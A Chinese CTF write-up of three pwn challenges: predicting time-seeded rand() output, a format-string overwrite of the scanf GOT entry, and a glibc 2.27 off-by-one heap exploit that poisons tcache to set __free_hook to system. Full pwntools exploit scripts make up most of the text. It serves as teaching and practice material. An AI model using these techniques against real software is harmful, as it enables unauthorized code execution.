0x00 前言:

kap0k 23级的第二场获奖的团队赛,最终只贡献了2道PWN,还是靠RE队友带飞了。最后一题堆题的复现拖了很久,总体来说不是什么难题,从这题开始稍微了解了一些unsorted bin的机制和off by one的攻击原理。做出来的两题都是比较简单的,所以可能写得有点粗糙,但最后一题堆题绝对写的很详细!

0x01 题解部分:

BoFido-ucsc

checksec一下:

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

Ida
就是一个简单的猜随机数。该随机数的生成依赖于种子,也就是说,如果种子一样,生成的随机数序列就一样。
使用srand()函数来设定与题目相同的随机数种子,即可做到猜测随机数的效果

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/BoFido'
elf=ELF(file)
libc=cdll.LoadLibrary('/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

choice = 0x001
if choice:
port=41491
ucsc='39.107.58.236'
p = remote(ucsc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

sla('Enter your name:\n',b'aaaa')
libc.srand(libc.time(0))
for i in range(10):
v10 = libc.rand() % 255
v9 = libc.rand() % 255
v8 = libc.rand() % 255
sla('please choose your numbers:',str(v10)+' '+str(v9)+' '+str(v8))

itr()

userlogin-ucsc

惯例:

Arch: amd64-64-little RELRO: Partial RELRO 
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

上ida看看主题逻辑
首先 generatePassword 生成一个密码
依靠伪随机数生成的。继续跟进 login() 函数
输入密码,如果是 supersecureuser 的话走第一个分支,第二个分支是刚刚随机数生成的密码,分别跟进一下
user函数中有fmtstr漏洞,结合程序的保护 RELRO: Partial RELRO,可以修改got表,继续跟进 root 函数

是一个scanf,再翻翻程序中有什么可以利用的
有个shell函数,思路大概是这样:

  1. 第一次先正常输入supersecureuser利用fmtstrscanf got改掉,往scanf的got表里面写shell函数
  2. 把密码构造出来,输入密码,走另一个分支,执行shell函数。密码构造用到的随机数可以参考上面一题的解法
    动调看一下 scanf_got 需要写多少字节 因为程序中自带的 shell 函数地址一共就 3 字节,而这里 __isoc99_scanf@got 里面存放的地址也是一共 3 字节,我们要覆写的话只需要写两字节,读入的0x20字节绝对够我们利用 fmtstr 漏洞了
from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn'
elf=ELF(file)
libc=cdll.LoadLibrary('/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

choice = 0x001
if choice:
port=49985
ucsc='39.107.58.236'
p = remote(ucsc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

sla('Password: ',b'supersecureuser')
scanf_got=elf.got['__isoc99_scanf']
leak('scanf_got')
shell=0x1261

shell_low = shell & 0xffff

# payload = b'aaaaaaaa %p %p %p %p %p %p %p %p %p %p '
payload = b'%4705c%8$hnaaaaa'+p64(scanf_got)

sla('Write Something\n',payload)

table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!'

libc.srand(libc.time(0))

password=''
for i in range(16):
v5 = libc.rand() % 63
password+=table[v5]
debug()
sla('Password: ',str(password))

itr()

0X02 复现:

疯狂复制-ucsc

基本分析

老样子 checksec

Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/link/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/'
Stripped: No

Patch 过了,ubuntu 18.04,2.27堆题,上 ida 看看
经典菜单堆,大致看了一遍,没有 UAF,值得注意的是编辑堆功能
跟进 setinput 函数
是逐个字节读入,而且他的读入长度貌似是有问题的,先读入后判断长度,简单来说就是有 off by one 漏洞。当时比赛的时候我就找了一道很类似的题目来看 XYCTF2024-pwn-one_byte【off by one】可惜当时太急了,加上自己对堆这块还不太熟悉,卡在中间步骤了。接下来会一点一点分析

攻击思路

首先先梳理一下攻击思路:

  1. 先创建 7 个堆块,再分别 free 掉。这样做的目的是填满 Tcache
  2. 创建一个不属于 fastbin 大小的堆块,再 free 掉,这样做的目的是得到 unsorted bin,用以泄露 libc
  3. 申请与一个小的堆块,目的是从 unsorted bin 中割一部分出来。只要让堆块进入 unsorted bin 中即可得到 unsorted bin 中残留的 fd 和 bk 指针,可以用于泄露 libc 基地址
  4. 再将剩下的 unsorted bin 申请回去,因我们后续还需要申请一些小堆块来进行 off by one,为了防止这些小堆块是从 unsorted bin 中取出的,所以先清理干净
  5. 利用 off by one 制造 UAF
  6. 劫持 __free_hook 为 system,给其中一个堆块写入 /bin/sh
  7. 对写入 /bin/sh 的堆块进行 free 操作触发 __free_hook, 实际上执行的是 system('/bin/sh\x00')

leak一下libc

前 3 步还是比较简单的:

# 填满tcache
malloc(0,0x98)
malloc(1,0x98)
malloc(2,0x98)
malloc(3,0x98)
malloc(4,0x98)
malloc(5,0x98)
malloc(6,0x98)

# debug()
malloc(7,0x98)
malloc(8,0x18)

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)

# 制造unsorted bin
free(7)
# 分割unsorted bin,泄露libc
malloc(7,0x30)
show(7)
libc_base=uru64()-0x3ebd30
leak('libc_base')

debug()
# 申请出多余的chunk
malloc(9,0x58)

最后申请出多余的 unsorted bin 所需要的大小可以通过计算或者动调得到:

off by one和UAF的组合拳

剩下的几步就是 off by oneUAF 的组合拳了。首先,为了让 off by one 凑效,我们申请的 chunk 的大小需要为 0x18,同时我们还会再申请三个堆块用作伪造 uaf

malloc(10,0x18)
malloc(11,0x68)
malloc(12,0x68)
malloc(13,0x68)

这样我们可以利用第 10 个堆块的 off by one 漏洞来改写第 11 个堆块的大小,将其改为一个较大的值, 然后将下一个 chunk 给 free 掉,再申请回来,这样便实现了堆块重叠的效果。

payload=b'a'*0x18+p8(0xe1)
edit(10,payload)
free(11)

malloc(14,0xd8)

可以看到第二个堆块的 size 被更改了,由于我们将其申请了回来,所以我们可以对这个堆块进行编辑,只要修改第 12 个 chunk 的 fd 指针位置即可将 chunk 伪造到 __free_hook

free(12)
free(13)

free_hook=libc_os(libc.sym['__free_hook'])
payload=b'a'*(0x68)+p64(0x71)+p64(free_hook)
edit(14,payload)

同时我们还需要再 free 两个大小相同的堆块,目的是为了伪造 Tcache 的数量,如果只 free 掉第 12 个堆块的话,在将堆块申请到 __free_hook 上 会出现
这样的情况,会导致一些异常情况的发生,所以我们需要再额外 free 掉一个堆块,来保持 Tcache 中的数量是合法的。最后则是修改 __free_hooksystem 以及写入 binsh, 然后 free 掉对应的堆块触发 system('/bin/sh')

malloc(0,0x68)
malloc(1,0x68)
malloc(2,0x68)

system = libc_os(libc.sym['system'])
edit(1,b'/bin/sh\x00')
edit(2,p64(system))

free(1)

EXP

完整 EXP

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn2'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc-2.27.so')

choice = 0x00
if choice:
port=41491
ucsc='39.107.58.236'
p = remote(ucsc,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
gdb.attach(p,'b *$rebase(0x9cd)')

def malloc(index,size):
sla(':',b'1')
sla('Index: ',str(index))
sla('Size ',str(size))

def free(index):
sla(':',b'4')
sla('Index: ',str(index))

def edit(index,content):
sla(':',b'2')
sla('Index: ',str(index))
sla('Content: ',content)

def show(index):
sla(':',b'3')
sla('Index: ',str(index))

# 填满tcache
malloc(0,0x98)
malloc(1,0x98)
malloc(2,0x98)
malloc(3,0x98)
malloc(4,0x98)
malloc(5,0x98)
malloc(6,0x98)

# debug()
malloc(7,0x98)
malloc(8,0x18)

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)

# 制造unsorted bin
free(7)
# 分割unsorted bin,泄露
malloc(7,0x30)
show(7)
libc_base=uru64()-0x3ebd30
leak('libc_base')

debug()
# 申请出多余的chunk
malloc(9,0x58)

# off by one
malloc(10,0x18)
malloc(11,0x68)
malloc(12,0x68)
malloc(13,0x68)

payload=b'a'*0x18+p8(0xe1)
edit(10,payload)
free(11)

malloc(14,0xd8)

# 更改Tcache的index:
free(12)
free(13)

free_hook=libc_os(libc.sym['__free_hook'])
payload=b'a'*(0x68)+p64(0x71)+p64(free_hook)
edit(14,payload)

debug()

malloc(0,0x68)
malloc(1,0x68)
malloc(2,0x68)

system = libc_os(libc.sym['system'])
edit(1,b'/bin/sh\x00')
edit(2,p64(system))

free(1)

itr()

复现的时候是能打通本地的,但是没有复现环境,不知道远程的情况如何,就当我暂时复现完了。